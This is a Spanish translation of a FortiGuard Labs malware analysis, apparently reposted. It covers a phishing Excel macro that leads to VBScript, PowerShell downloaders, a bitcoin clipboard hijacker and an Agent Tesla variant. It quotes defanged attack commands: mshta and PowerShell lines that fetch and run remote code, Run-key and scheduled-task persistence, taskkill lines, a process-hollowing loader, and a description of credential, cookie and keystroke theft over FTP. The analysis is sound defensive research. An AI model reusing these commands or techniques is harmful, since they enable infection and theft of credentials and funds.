El software malicioso de phishing secuestra las direcciones de Bitcoin y entrega una nueva variante de agente Tesla

 Informe de investigación de amenazas de FortiGuard Labs

Plataformas afectadas : Microsoft Windows 
Partes afectadas : Usuarios de Windows
Impacto : Recopilación de información confidencial del dispositivo de la víctima
Nivel de gravedad : Crítico

FortiGuard Labs capturó recientemente una nueva campaña de phishing en la que un documento de Microsoft Excel adjunto a un correo electrónico no deseado descargó y ejecutó varias piezas de código VBscript. Este malware se utiliza para secuestrar la información de la dirección de bitcoin y entregar una nueva variante del Agente Tesla en el dispositivo de la víctima. 

El agente Tesla, descubierto por primera vez a finales de 2014, es un software espía conocido que se centra en el robo de información confidencial del dispositivo de la víctima, como credenciales de aplicaciones guardadas, entradas de teclado (registrador de teclas), etc. Hemos publicado varios blogs de análisis detallados para la campaña del agente Tesla. capturado por FortiGuard Labs durante los últimos años. 

Curiosamente, Agent Tesla es un software comercial que se vende en línea, como se muestra en la Figura 1.1, a continuación.

Figura 1.1 - Agente Tesla a la venta en una página webFigura 1.1 – Agente Tesla a la venta en una página web

En el sitio web que se muestra arriba, los atacantes pueden comprarlo de forma anónima utilizando los métodos de pago de «Perfect Money» o «Bitcoin Payment».

Realicé una investigación sobre esta última campaña de phishing, y en esta publicación compartiré mis hallazgos sobre cómo se inicia la campaña, qué hace la macro dentro del Microsoft Excel adjunto y cómo se ejecuta, así como cómo realiza el secuestro de direcciones de bitcoin y entrega una nueva variante del Agente Tesla en el dispositivo de la víctima.

Análisis del archivo de Excel del correo electrónico de phishing

Figura 2.1 - El contenido del correo electrónico no deseadoFigura 2.1 – El contenido del correo electrónico no deseado

Como habrá notado en la Figura 2.1, el asunto ha sido marcado con “SPAM detectado por FortiMail” para notificar al cliente que el correo electrónico es un spam. El correo electrónico solicita al destinatario que abra el archivo de Microsoft Excel adjunto para ver los detalles de un documento titulado «Requisitos y especificaciones del pedido». Sin embargo, una vez que la víctima abre el archivo en el programa Microsoft Excel, aparece un aviso de seguridad, como se muestra en la Figura 2.2, porque el documento Excel contiene una macro.

Figura 2.2 - Advertencia al abrir el documento Excel adjuntoFigura 2.2 – Advertencia al abrir el documento Excel adjunto

Este es un documento de Excel vacío, cuyas hojas están ocultas. También contiene un proyecto VBA protegido por contraseña (Macro). Descubrí esto modificando sus datos binarios. El proyecto VBA tiene un método predefinido, Workbook_BeforeClose (), que se llama automáticamente cuando la víctima cierra el documento.

Cuando se llama, muestra dos UserForms con la cadena «¡ERROR!» uno a uno. Cuando se cierra el segundo formulario, ejecuta un fragmento de código cargado desde la propiedad de etiqueta de OptionButton. Como puede ver en la Figura 2.3, está a punto de ejecutar “Shell # UserForm2.OptionButton1.Tag” (donde el último «_» en la Figura 2.3 es una especie de carácter de continuación de línea) para ejecutar el comando de línea de comandos «mshta hxxp: // www [.] j [.] mp / ais1kdoaksodjasod14 «, que se cargó desde la propiedad“ UserForm2.OptionButton1.Tag ”.

Figura 2.3 - Ejecución de un comando cargado desde un valor de propiedadFigura 2.3 – Ejecución de un comando cargado desde un valor de propiedad

El archivo “mshta.exe” es un componente de software de Microsoft HTML Application Host, una utilidad responsable de ejecutar archivos HTA (aplicación HTML) en el sistema operativo Windows. Un archivo HTA es un programa de Microsoft Windows cuyo código fuente consta de HTML, HTML dinámico y secuencias de comandos, como VBScript o JScript.

La URL «hxxp: // www [.] J [.] Mp / ais1kdoaksodjasod14» se redirige a «hxxp: // bit [.] Ly / ais1kdoaksodjasod14» y, finalmente, se redirige a «hxxps: // p8hj [.] blogspot [.] com / p / 27.html ”(“ 27.html ”). Como habrás adivinado, la respuesta de “27.html” contiene código malicioso, código VBScript para este caso, que está codificado por la función escape ().

Hay tres segmentos de código VBScript en la respuesta de “27.html”. La Figura 2.4 resalta los tres segmentos del código VBScript que se decodificarán y ejecutarán dentro del proceso “mshta.exe”. En la siguiente sección, demostraré lo que hacen los tres segmentos del código VBScript.

Figura 2.4 - Tres piezas de código VBScript en "27.html"Figura 2.4 – Tres piezas de código VBScript en «27.html»

Tres segmentos de código VBScript

1. Descripción general de la nueva variante del Agente Tesla, el Grupo de ejecución automática y el Programador de tareas

Figura 3.1 - Eliminó el primer código de VBScriptFigura 3.1 – Eliminó el primer código de VBScript

Después de llamar a unescape () dos veces al primer segmento del código VBScript, finalmente obtenemos contenido HTML, como se muestra en la figura 3.1. Este contenido contiene un fragmento de código VBScript que realiza las tres tareas que se muestran a continuación: 

  • Descarga archivos de PowerShell para entregar la nueva variante de Agent Tesla

Llama al método de VBScript MicrosoftWINdows.Run () con el siguiente parámetro.

«cmd / c start / min PowerShell -ex Bypass -nOp -w 1; i’E’x (iwr (‘hxxps: // ia601500 [.] us [.] archive [.] org / 9 / items / FTp- 120-May12 / 27-1.txt ‘) -useB); i’E’x (iwr (‘ hxxps: // ia601500 [.] Us [.] Archive [.] Org / 9 / items / FTp-120- May12 / 27-2.txt ‘) -useB); i’E’x (iwr (‘ hxxps: // ia801500 [.] Us [.] Archive [.] Org / 9 / items / FTp-120-May12 / 27-3.txt ‘) -useB) «

Luego, ejecuta PowerShell para ejecutar tres archivos de PowerShell descargados de tres URL. Hay dos archivos EXE almacenados en dos matrices enormes dentro de cada archivo de PowerShell descargado. 

Los dos archivos EXE son un cargador de Agent Tesla y una nueva variante de Agent Tesla. A continuación se muestra un segmento de código extraído de “27-1.txt” como ejemplo para explicar cómo carga Agent Tesla.

[Reflection.Assembly] :: Load ($ Cli555) .GetType (‘WpfControlLibrary1.LOGO’). GetMethod (‘Ejecutar’). Invoke ($ null, [object []] (‘C: \ Windows \ Microsoft.NET \ Marco \ v4.0.30319 \ MSBuild.exe ‘, $ Cli444));

Como puede ver, carga el cargador desde el arreglo $ Cli555, que tiene una función llamada “WpfControlLibrary1.LOGO.Run ()” que requiere dos parámetros. Ejecuta un archivo EXE normal («MSBuild.exe»), luego implementa la nueva variante del Agente Tesla almacenada en la enorme matriz $ Cli444 y se ejecuta. Esto significa que el Agente Tesla se ejecutará dentro de “MSBuild.exe”, que también es una forma de proteger al Agente Tesla para que no sea detectado por la víctima. Explicaré los detalles de «WpfControlLibrary1.LOGO.Run ()» más adelante.

  • El código de VBScript agrega numerosos elementos al grupo de ejecución automática en el registro del sistema

La Figura 3.2 muestra una captura de pantalla del grupo Ejecución automática en el registro del sistema de un sistema infectado. Crea un objeto WMI (Instrumental de administración de Windows) para agregar al grupo Ejecución automática llamando a su función “SetStringValue ()”.

Figura 3.2 - Grupo de ejecución automática en el registro del sistemaFigura 3.2 – Grupo de ejecución automática en el registro del sistema
  • Crea una tarea programada

Además de agregar elementos al grupo Ejecución automática, agrega una tarea programada en el «Programador de tareas» para que toda la campaña funcione de manera eficaz.

A continuación se muestra el código utilizado para ejecutar «schtasks» para crear una nueva tarea programada. El nuevo nombre de la tarea es «WIND0WSUPLATE». Su acción es ejecutar el comando “mshta hxxp: // 1230948% 1230948 @ getyournewblog [.] Blogspot [.] Com / p / 27.html” y se llama cada 80 minutos.

MicrosoftWINdows.run «schtasks / create / sc MINUTE / mes 80 / tn \» WIND0WSUPLATE \ «/ F / tr \» MsHtA \ «\» hxxp: // 1230948% 1230948 @ getyournewblog [.] Blogspot [.] Com / p / 27.html \ «», 0

2. Secuestro de una dirección de Bitcoin en el dispositivo de la víctima

Después de ser decodificado, obtuvimos la segunda pieza de código VBScript. Al ejecutarlo, se guarda un lote de código de PowerShell en el registro del sistema bajo la subclave «HKCU \ Software \ nasdnasndnad». También agrega un elemento para ejecutar este código de PowerShell en el grupo Ejecución automática en el registro del sistema, lo que hace que se ejecute al iniciar el sistema (consulte el elemento «replcia» en la Figura 3.2).

Para ello, ejecuta el siguiente código. 

MicrosoftWINdows.RegWrite «HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ replcia», «mshta vbscript: Execute (» «CreateObject (» «» «Wscript.Shell» «» «). Ejecute» «» «powershell (( gp HKCU: \ Software) .nasdnasndnad) | IEX «» «», 0: ventana.cerrar «») «, EXCELX

Al revisar el código de PowerShell, podemos ver que realiza un secuestro de direcciones de bitcoin. Lo hace detectando continuamente los datos en el portapapeles del sistema. Si es una dirección de bitcoin válida, reemplaza la dirección de bitcoin con la del atacante. Para hacerlo, usa una declaración «while» y una función para verificar si una cadena es una dirección de bitcoin válida. La instrucción while lee los datos del portapapeles del sistema de vez en cuando llamando a Get-Clipboard (). Luego llama a la función isBitcoinAddress () para determinar si los datos son una dirección de bitcoin válida. Si es así, entonces llama a Set-Clipboard () para modificar la dirección de bitcoin en el portapapeles a la del atacante, que en este caso es “ 19VFGWgBkn6J3kMd8ApfCbtbNUmg8eBMvp ”. La Figura 3.3 muestra el código de PowerShell utilizado para secuestrar una dirección bitcoin.

Figura 3.3 - Código para secuestrar una dirección de BitcoinFigura 3.3 – Código para secuestrar una dirección de Bitcoin

Por lo general, las personas usan el portapapeles del sistema para copiar o pegar la dirección bitcoin del beneficiario para realizar un pago. Durante este tiempo, este secuestro de bitcoin cambiará la dirección de bitcoin del beneficiario a la del atacante. La víctima no sabe que pagó sus bitcoins al beneficiario equivocado. 

3. Eliminación de todos los procesos de Microsoft Excel y Word

El código decodificado para este segmento se enumera a continuación. Ejecuta el comando «taskkill» para terminar todos los programas de Microsoft Excel y Word en ejecución. Esto puede forzar la eliminación del progreso de Excel.exe que se ejecuta por encima del comando mshta.exe.

<script language = «VBScript»>
CreateObject («WScript.Shell»). Ejecute «taskkill / f / im Excel.exe», 0
CreateObject («WScript.Shell»). Ejecute «taskkill / f / im winword.exe» , 0 
window.resizeTo 0, 0
self.close
</script>

En este punto, terminamos de analizar la primera etapa de este ataque para explicar qué es capaz de hacer con los tres segmentos de VBScript. A continuación, me centraré en el análisis del cargador y la nueva variante del Agente Tesla que se inició con el primer segmento del código VBScript.

Análisis del progreso del cargador del agente Tesla

Como mencioné anteriormente, «mshta.exe» ejecuta tres segmentos de código VBScript en 27.html. El primero carga dinámicamente un .Net EXE («el cargador») desde una matriz ($ Cli555) y llama a su función  WpfControlLibrary1.LOGO.Run () para implementar el Agente Tesla real de otra matriz en el proceso MSBuild.exe.

Extraje manualmente el cargador a un archivo local y la función Ejecutar () se muestra en la Figura 4.1 usando el depurador dnSpy.

Figura 4.1 - “WpfControlLibrary1.LOGO.Run ()” para cargar Agent TeslaFigura 4.1 – “WpfControlLibrary1.LOGO.Run ()” para cargar Agent Tesla

La función Run () obtiene la ruta completa de un proceso de destino (‘C: \ Windows \ Microsoft.NET \ Framework \ v4.0.30319 \ MSBuild.exe’) y los datos binarios de la variante del Agente Tesla del segundo parámetro. Luego llama a otra función, PEfX2B8Tl (), para implementar esta variante del Agente Tesla en el proceso de destino. Como puede ver en la Figura 4.1, he simplificado la función para una vista más clara.

Primero llama a la función de API CreateProcess () con CreateFlag 0x4 (CREATE_SUSPENDED) para crear un proceso MSBuild.exe suspendido. Luego llama a un montón de funciones API familiares, como GetThreadContext (), ReadProcessMemory (), NtUnmapViewOfSection (), VirtualAllocEx (), WriteProcessMemory (), SetThreadContext () y ResumeThread (). Después de eso, Agent Tesla se ejecuta dentro del proceso de destino «MSBuild.exe».

Para mostrarle la imagen completa del proceso malicioso que comenzó a partir de la campaña de phishing, he adjuntado una captura de pantalla del árbol de procesos a continuación, que muestra todos los procesos relevantes involucrados en la campaña, así como la relación entre estos procesos.

Figura 4.2 - Árbol de procesos de todos los procesos relevantes de la campañaFigura 4.2 – Árbol de procesos de todos los procesos relevantes de la campaña

Agente Tesla que se ejecuta dentro del proceso MSBuild.exe para robar datos

Extraje esta nueva variante del Agente Tesla a un archivo local de la matriz grande ($ Cli444) para el análisis estático.

De acuerdo con la Figura 5.1, a continuación, podemos ver que esta nueva variante está completamente ofuscada, lo que significa que puede proteger su código para que los investigadores de seguridad no lo analicen fácilmente. 

Los nombres de las clases, los nombres de las funciones y los nombres de las variables no tienen sentido, como se muestra en la Figura 5.1 (como «A», «a», «B», «b», «C», «c», etc.). Por ejemplo, la función de punto de entrada de esta variante es esta: “AbA ()”.

Figura 5.1 - Nueva variante ofuscada del Agente TeslaFigura 5.1 – Nueva variante ofuscada del Agente Tesla

Cuando Agent Tesla se inicia en MSBuild.exe, primero comprueba si hay un Agent Tesla duplicado en ejecución. Si se encuentra uno, se elimina para mantener solo una instancia ejecutándose al mismo tiempo.

Una vez cada vez que se ejecuta, roba las credenciales de las aplicaciones (como navegadores web, clientes FTP, mensajería instantánea, etc.) guardadas en el dispositivo infectado y envía los datos robados al atacante.

Según mi investigación, roba información confidencial de 73 aplicaciones diferentes, que se pueden clasificar por sus características, como se muestra a continuación: 

Navegadores web: 

«Chrome», «Firefox», «Edge», «Safari», «SRWare Iron», «CoolNovo», «QQ Browser», «UC Browser», «Elements Browser», «QIP Surf», «Epic Privacy», «Amigo», «Coccoc», «Coowon», «Torch Browser», «Orbitum», «Yandex Browser», «Sputnik», «Chedot», «Vivaldi», «Iridium Browser», «360 Browser», «Chromium «,» Opera Browser «,» Sleipnir 6 «,» Liebao Browser «,» CentBrowser «,» Brave «,» Cool Novo «,» Citrio «,» Uran «,» 7Star «,» Kometa «,» Comodo Dragon » , «K-Meleon», «FALKON», «IceCat», «Flock»,»WaterFox», «PaleMoon», «UCBrowser», «IceDragon», «QQBrowser», «SeaMonkey», «BlackHawk», «CyberFox»

Clientes de correo electrónico y clientes de mensajería:

«Postbox», «Foxmail», «Eudora», «Mailbird», «Becky!», «Opera Mail», «Outlook», «Thunderbird», «eM Client», «IncrediMail», «Claws-mail», » ¡El murciélago! «,» Pocomail «
» Psi «,» Trillian «

VPN, clientes FTP y administradores de descargas:

«DownloadManager», «jDownloader», «OpenVPN», «SmartFTP», «FTPGetter», «WS_FTP», «FileZilla», «CFTP», «FTP Navigator», «CoreFTP», «WinSCP», «FlashFXP»

La Figura 5.2 muestra el momento en que ha obtenido datos sensibles de Mozilla Firefox. Estos datos contienen las credenciales de usuario (nombre de usuario y contraseña), el nombre de la aplicación «Firefox», así como las URL donde se guardan las credenciales. Luego, los datos se enviarán al atacante con la bandera mágica «PW_». Más adelante explicaré cómo se envían los datos robados al atacante.

Figura 5.2 - Visualización de datos confidenciales robados de Mozilla FirefoxFigura 5.2 – Visualización de datos confidenciales robados de Mozilla Firefox

Inicia una función de hilo que se utiliza para recopilar archivos de cookies de algunos navegadores web predefinidos. Estos archivos de cookies recopilados se comprimen en un archivo ZIP y se envían al atacante con la bandera mágica «CO_». La Figura 5.3 es un ejemplo de un archivo ZIP de este tipo, que contiene los archivos de cookies recopilados de Mozilla Firefox y Google Chrome en mi máquina de prueba.

Figura 5.3 - Vista de árbol de un archivo ZIP con archivos de cookies recopiladosFigura 5.3 – Vista de árbol de un archivo ZIP con archivos de cookies recopilados

Además de lo que expliqué anteriormente, también recopila datos del portapapeles del sistema y las entradas de la víctima (el registrador de teclas). Llama a la API SetClipboardViewer () para registrarse a sí mismo y poder recibir un aviso una vez que se cambian los datos del portapapeles. A continuación, puede obtener y guardar datos del portapapeles.

El atacante también habilitó la función keylogger en esta variante. Establece un gancho en el mensaje de Windows WH_KEYBOARD_LL (13) llamando a la función API SetWindowsHookEx (), para que pueda recibir todos los mensajes del teclado cuando la víctima escribe. Tanto los datos recopilados del portapapeles como a través de las entradas de la víctima se guardan en formato html en una variable global. El agente Tesla inicia un temporizador (se llama cada 20 minutos) para verificar si la variable global tiene datos y, de ser así, envía sus datos al atacante con la bandera mágica “KL_”. 

Como se muestra en la Figura 5.4, hay un ejemplo de los datos recopilados de las entradas de la víctima y el portapapeles que extraje cuando se lo envié al atacante.

Figura 5.4 - Ejemplo de datos recopilados de keylogger y portapapelesFigura 5.4 – Ejemplo de datos recopilados de keylogger y portapapeles

Como puede ver, estos datos contienen información básica, incluida la hora actual, el nombre de usuario, el nombre de la computadora, la versión del sistema operativo, el tipo de CPU y la capacidad de memoria. Los datos del keylogger contienen el nombre de la aplicación («Google Chrome»), el título de la aplicación («Nueva pestaña – Google Chrome»), la hora actual (21/05/2021 10:48:18), así como las entradas de la víctima en la segunda línea. Los datos del portapapeles comienzan con una cadena constante «Texto copiado:» y los datos del portapapeles en la segunda línea.

Envío de datos robados al atacante

Agent Tesla admite varias formas de enviar datos robados a su servidor C2. Están sobre SMTP para enviar datos a la dirección de correo electrónico del atacante, sobre FTP para enviar los datos al servidor FTP del atacante y sobre HTTP POST para enviar los datos al servidor HTTP del atacante. 

La variante que capturamos utiliza el comando STOR (almacenar) del protocolo FTP para enviar los datos confidenciales robados. 

El agente Tesla tiene varias banderas mágicas para identificar qué tipo de datos se informa. Estos son «PW_» para credenciales, «CO_» para archivos de cookies, «KL» para keylogger y portapapeles, y «SC_» para captura de pantalla (no habilitado en esta variante). El nombre del archivo de datos consta de una bandera mágica, un nombre de usuario, un nombre de computadora y la hora actual. 

La Figura 6.1 muestra una captura de pantalla de Wireshark que muestra el proceso de transporte de datos en un paquete de datos FTP (con la bandera mágica “PW_”), donde contiene las credenciales robadas guardadas en Firefox y FileZilla.

Figura 6.1 - Paquete FTP con credenciales robadasFigura 6.1 – Paquete FTP con credenciales robadas

Conclusión

A la mayoría de los atacantes les gusta difundir malware en correos electrónicos de phishing. Como resultado, FortiGuard Labs detecta cada día nuevas campañas de phishing. Las personas deben tener más cuidado al abrir archivos adjuntos al correo electrónico.

El que acabo de analizar no solo usó un VBScript para secuestrar el portapapeles de la víctima, sino que también entregó una nueva variante del Agente Tesla. En esta publicación, analicé esta campaña, comenzando con cómo se ejecuta la macro maliciosa dentro de un documento adjunto de Microsoft Excel. Luego expliqué cómo funcionan los tres segmentos de código de VBScript que se encuentran en la respuesta de 27.html para realizar un secuestro de direcciones de bitcoin y lanzar una nueva variante del Agente Tesla. A continuación, demostré de qué aplicaciones esta variante podría robar datos confidenciales y en qué tipo de datos confidenciales está interesado el agente Tesla, incluidas las credenciales guardadas, los archivos de cookies de algunos navegadores web, los datos del registrador de teclas y los datos del portapapeles. Y finalmente, presenté cómo los datos robados se envían al atacante mediante un paquete FTP-DATA.

Protecciones Fortinet

Los clientes de Fortinet ya están protegidos de esta variante del Agente Tesla con los servicios de filtrado web, antispam y antivirus de FortiGuard, de la siguiente manera:

Las URL relacionadas que figuran en las IOC han sido calificadas como » Sitios web maliciosos » por el servicio de filtrado web FortiGuard.

FortiMail ha marcado el correo electrónico de phishing como SPAM. El archivo de Excel adjunto es detectado como “ VBA / Agent.WCN! Tr ” y bloqueado por el servicio FortiGuard AntiVirus.

El servicio FortiGuard AntiVirus es compatible con  FortiGate ,  FortiMail,  FortiClient y  FortiEDR . El motor Fortinet AntiVirus también es parte de cada una de esas soluciones. Como resultado, los clientes que tienen estos productos con versiones actualizadas están protegidos.

También sugerimos a nuestros lectores que realicen la capacitación gratuita  NSE  –  NSE 1 – Information Security Awareness , que tiene un módulo sobre amenazas de Internet diseñado para ayudar a los usuarios finales a aprender cómo identificarse y protegerse de los ataques de phishing.

Fuente: https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant

Daniel Perez

Daniel Perez

Dejar un comentario

Este sitio web utiliza cookies para garantizar que obtenga la mejor experiencia. Más información